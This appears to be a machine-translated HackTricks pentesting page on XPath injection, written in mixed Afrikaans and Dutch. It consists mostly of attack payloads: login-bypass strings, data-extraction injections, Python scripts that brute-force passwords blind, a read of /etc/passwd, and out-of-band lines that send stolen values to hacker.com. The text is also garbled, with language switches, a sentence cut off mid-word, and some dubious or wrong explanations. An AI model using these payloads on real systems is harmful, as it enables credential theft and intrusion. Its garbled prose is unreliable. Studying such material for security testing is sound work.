hacktricks/pentesting-web/xpath-injection.md
2024-02-11 02:07:06 +00:00

413 lines
21 KiB
Markdown

# XPATH-inspuiting
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutjagters!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
**Hack-nuus in werklike tyd**\
Bly op hoogte van die vinnige wêreld van hacking deur werklike nuus en insigte
**Nuutste aankondigings**\
Bly ingelig met die nuutste foutjagte wat begin en belangrike platform-opdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## Basiese sintaksis
'n Aanvalstegniek wat bekend staan as XPath-inspuiting word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm op grond van gebruikersinvoer om XML-dokumente te ondersoek of te navigeer.
### Beskryfde knooppunte
Uitdrukkings word gebruik om verskillende knooppunte in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:
- **nodenaam**: Alle knooppunte met die naam "nodenaam" word gekies.
- **/**: Kies vanaf die wortelknooppunt.
- **//**: Kies knooppunte wat ooreenstem met die seleksie vanaf die huidige knooppunt, ongeag hul posisie in die dokument.
- **.**: Die huidige knooppunt word gekies.
- **..**: Die ouerknooppunt van die huidige knooppunt word gekies.
- **@**: Eienskappe word gekies.
### XPath-voorbeelde
Voorbeelde van paduitdrukkings en hul resultate sluit in:
- **boekwinkel**: Alle knooppunte met die naam "boekwinkel" word gekies.
- **/boekwinkel**: Die wortel-element boekwinkel word gekies. Dit moet opgemerk word dat 'n absolute pad na 'n element voorgestel word deur 'n pad wat begin met 'n sku
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### Toegang tot die inligting
XPath-injeksie is 'n tegniek wat gebruik word om toegang tot inligting in 'n webtoepassing te verkry deur die manipulasie van XPath-uitdrukkings. Hierdie tegniek maak gebruik van spesiale karakters en operatore om die oorspronklike XPath-uitdrukking te verander en sodoende toegang tot verborge inligting te verkry.
Om toegang tot die inligting te verkry, moet jy eers die doelwit van die aanval identifiseer. Dit kan 'n soekveld, 'n URL-parameter of enige ander invoerveld wees waarin die toepassing 'n XPath-uitdrukking gebruik. Vervolgens moet jy die invoerveld toets deur spesiale karakters en operatore in te voer om te sien of dit vatbaar is vir XPath-injeksie.
As jy 'n vatbare invoerveld gevind het, kan jy dit gebruik om die XPath-uitdrukking te manipuleer en toegang tot die inligting te verkry. Jy kan byvoorbeeld die 'or' operateur gebruik om 'n valse voorwaarde in te voer en sodoende alle rekords in die databasis te verkry. Jy kan ook die 'union' operateur gebruik om data vanaf verskillende tabelle te kombineer en sodoende gevoelige inligting te ontsluit.
Dit is belangrik om te onthou dat XPath-injeksie 'n potensiële veiligheidsrisiko vir webtoepassings is. Dit kan lei tot die blootstelling van gevoelige inligting, soos gebruikersname, wagwoorde en kredietkaartinligting. Dit is dus noodsaaklik vir ontwikkelaars om behoorlike insetvalidasie en ontsmettingstegnieke te implementeer om XPath-injeksie-aanvalle te voorkom.
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### Identifiseer en steel die skema
XPath-injeksie kan gebruik word om die skema van 'n databasis te identifiseer en te steel. Hier is 'n voorbeeld van hoe dit gedoen kan word:
1. Identifiseer die kwetsbare invoerveld op die webwerf wat gebruik maak van XPath-aanvrae.
2. Voer 'n eenvoudige XPath-injeksie-aanval uit deur die invoerveld te manipuleer.
3. Gebruik die `extractvalue()`-funksie om die skema van die databasis te onttrek.
4. Analiseer die verkrygde skema om die tabelle, kolomme en ander relevante inligting te identifiseer.
5. Stel 'n aanval voor om die data in die databasis te steel deur die verkrygde inligting te gebruik.
Dit is belangrik om te onthou dat die uitvoering van hierdie tegniek slegs toegelaat word op stelsels waar jy toestemming het om te pentest. Misbruik van hierdie tegniek sonder toestemming is onwettig en kan lei tot regsnakomings.
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Verifikasie deurloop
### **Voorbeeld van navrae:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **OR omseiling in gebruikersnaam en wagwoord (gelyke waarde in beide)**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **Misbruik van null-injectie**
Null-injectie is een techniek die wordt gebruikt om XPath-injectieaanvallen uit te voeren op webapplicaties die XPath-query's gebruiken om gegevens uit een XML-bron te extraheren. Bij null-injectie wordt een speciale tekenreekswaarde, zoals 'null' of '0', ingevoegd in een XPath-query om de query te manipuleren en onbedoelde resultaten te verkrijgen.
Null-injectie kan worden gebruikt om verschillende soorten aanvallen uit te voeren, zoals het omzeilen van authenticatie, het verkrijgen van gevoelige informatie en het uitvoeren van ongeautoriseerde acties. Het kan ook worden gebruikt om fouten in de applicatie te veroorzaken, zoals het genereren van een foutmelding of het crashen van de applicatie.
Om null-injectie uit te voeren, moet je de XPath-query van de applicatie analyseren en de juiste plaats vinden om de null-waarde in te voegen. Dit kan worden gedaan door de invoer van de gebruiker te manipuleren of door de URL-parameters of formuliergegevens aan te passen.
Hier is een voorbeeld van een XPath-query met null-injectie:
```plaintext
' or 1=1 or ''='
```
In dit voorbeeld wordt de null-waarde ingevoegd tussen de enkele aanhalingstekens om de voorwaarde '1=1' waar te maken, waardoor de query altijd waar is en alle resultaten worden geretourneerd.
Het is belangrijk op te merken dat null-injectie alleen werkt als de applicatie onvoldoende validatie en sanitization uitvoert op de invoer van de gebruiker. Het is daarom essentieel om de applicatie grondig te testen en eventuele kwetsbaarheden te identificeren voordat null-injectie kan worden gebruikt.
```
Username: ' or 1]%00
```
### **Dubbele OF in Gebruikersnaam of in wagwoord** (is geldig met slegs 1 kwesbare veld)
BELANGRIK: Let daarop dat die **"en" die eerste operasie is wat uitgevoer word**.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## String-ekstraksie
Die uitset bevat string-ekse en die gebruiker kan die waardes manipuleer om te soek:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
### Blinde Uitbuiting
### **Kry die lengte van 'n waarde en onttrek dit deur vergelykings:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Python Voorbeeld**
Hier is een voorbeeld van hoe XPath-injectie kan worden uitgevoerd met behulp van Python:
```python
import requests
def exploit(url, payload):
response = requests.get(url + "/search?query=" + payload)
return response.text
url = "http://example.com"
payload = "' or 1=1 or ''='"
result = exploit(url, payload)
print(result)
```
In dit voorbeeld wordt de `exploit`-functie gebruikt om een XPath-injectieaanval uit te voeren op de opgegeven URL met de gegeven payload. De payload is zo geconstrueerd dat de query altijd waar is, waardoor alle resultaten worden teruggegeven. Het resultaat wordt vervolgens afgedrukt.
Het is belangrijk op te merken dat dit voorbeeld alleen bedoeld is voor educatieve doeleinden en dat het uitvoeren van een XPath-injectieaanval zonder toestemming illegaal is.
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Lees lêer
XPath-injeksie kan gebruik word om lêers te lees deur die gebruik van 'n foutiewe XPath-navraag. Hier is 'n voorbeeld van hoe dit gedoen kan word:
```xml
<root>
<user>
<name>Alice</name>
<password>123456</password>
</user>
<user>
<name>Bob</name>
<password>789012</password>
</user>
</root>
```
As ons 'n XPath-navraag soos die volgende gebruik: `//user[name/text()='Alice']/password/text()`, sal dit die wagwoord van die gebruiker "Alice" teruggee, wat in hierdie geval "123456" is.
Om 'n lêer te lees, kan ons die volgende XPath-navraag gebruik: `document('file:///etc/passwd')`. Hierdie navraag sal die inhoud van die `/etc/passwd`-lêer teruggee.
Dit is belangrik om te verstaan dat XPath-injeksie 'n ernstige veiligheidsrisiko is en dat dit gebruik kan word om gevoelige inligting te verkry. Dit is dus noodsaaklik om behoorlike maatreëls te tref om dit te voorkom.
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB Uitbuiting
Out-of-Band (OOB) uitbuiting is een techniek die wordt gebruikt bij XPath-injectie om gegevens uit het doelsysteem te extraheren via een ander communicatiekanaal dan de standaard HTTP-respons. Dit kan handig zijn in situaties waarin de uitvoer van de XPath-query niet direct beschikbaar is in de HTTP-respons.
### OOB-kanalen
Er zijn verschillende OOB-kanalen die kunnen worden gebruikt om gegevens uit het doelsysteem te extraheren:
- DNS: De aanvaller kan een DNS-query initiëren naar een door hem gecontroleerde DNS-server en de geëxtraheerde gegevens in het DNS-antwoord opnemen.
- HTTP: De aanvaller kan een HTTP-verzoek initiëren naar een door hem gecontroleerde webserver en de geëxtraheerde gegevens in het HTTP-verzoek opnemen.
- SMTP: De aanvaller kan een e-mailbericht verzenden naar een door hem gecontroleerde SMTP-server en de geëxtraheerde gegevens in het e-mailbericht opnemen.
- FTP: De aanvaller kan een FTP-verzoek initiëren naar een door hem gecontroleerde FTP-server en de geëxtraheerde gegevens in het FTP-verzoek opnemen.
### OOB-uitbuitingstechnieken
Er zijn verschillende technieken die kunnen worden gebruikt om OOB-uitbuiting uit te voeren bij XPath-injectie:
- Boolean-based: De aanvaller kan de XPath-query zo manipuleren dat deze een waarheidsgetal retourneert, wat kan worden gebruikt om gegevens te extraheren via OOB-kanalen.
- Error-based: De aanvaller kan de XPath-query zo manipuleren dat deze een fout veroorzaakt, waarvan de details kunnen worden geëxtraheerd via OOB-kanalen.
- Union-based: De aanvaller kan de XPath-query zo manipuleren dat deze meerdere resultaatsets combineert, waarvan de gegevens kunnen worden geëxtraheerd via OOB-kanalen.
- Time-based: De aanvaller kan de XPath-query zo manipuleren dat deze een vertraging veroorzaakt, waarvan de duur kan worden gebruikt om gegevens te extraheren via OOB-kanalen.
### OOB-uitbuitingshulpmiddelen
Er zijn verschillende hulpmiddelen beschikbaar die kunnen worden gebruikt om OOB-uitbuiting uit te voeren bij XPath-injectie:
- Burp Suite: Een populaire tool voor webbeveiliging die OOB-uitbuiting ondersteunt.
- SQLMap: Een geautomatiseerd pentesting-hulpmiddel dat ook OOB-uitbuiting ondersteunt.
- Xploit: Een open-source tool specifiek ontworpen voor OOB-uitbuiting bij XPath-injectie.
### OOB-uitbuitingsvoorbeelden
Hier zijn enkele voorbeelden van OOB-uitbuiting bij XPath-injectie:
- DNS-exfiltratie: De aanvaller kan een DNS-query initiëren met geëxtraheerde gegevens als subdomeinnaam, die vervolgens kan worden opgevangen door een door hem gecontroleerde DNS-server.
- HTTP-exfiltratie: De aanvaller kan een HTTP-verzoek initiëren met geëxtraheerde gegevens als queryparameters, die vervolgens kan worden opgevangen door een door hem gecontroleerde webserver.
- SMTP-exfiltratie: De aanvaller kan een e-mailbericht verzenden met geëxtraheerde gegevens als inhoud, die vervolgens kan worden opgevangen door een door hem gecontroleerde SMTP-server.
- FTP-exfiltratie: De aanvaller kan een FTP-verzoek initiëren met geëxtraheerde gegevens als bestandsinhoud, die vervolgens kan worden opgevangen door een door hem gecontroleerde FTP-server.
### OOB-uitbuitingsbeperkingen
Hoewel OOB-uitbuiting een krachtige techniek is bij XPath-injectie, heeft het ook enkele beperkingen:
- Afhankelijkheid van externe kanalen: OOB-uitbuiting vereist dat de aanvaller controle heeft over een extern communicatiekanaal, zoals een DNS-server, webserver, SMTP-server of FTP-server.
- Vertraging: OOB-uitbuiting kan vertraging veroorzaken in het uitvoeren van de aanval, omdat de geëxtraheerde gegevens via een ander communicatiekanaal moeten worden verzonden.
- Detectie: OOB-uitbuiting kan worden gedetecteerd door beveiligingsmechanismen die het verkeer naar externe kanalen controleren of beperken.
### Conclusie
OOB-uitbuiting is een waardevolle techniek bij XPath-injectie, omdat het de aanvaller in staat stelt gegevens uit het doelsysteem te extraheren via externe communicatiekanalen. Door gebruik te maken van verschillende OOB-kanalen en uitbuitingstechnieken, kan de aanvaller gevoelige informatie verkrijgen en de impact van de aanval vergroten. Het is echter belangrijk om rekening te houden met de beperkingen van OOB-uitbuiting en de mogelijke detectie ervan.
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Outomatiese instrumente
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## Verwysings
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack-nuus**\
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
**Nuutste aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platform-opdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
</details>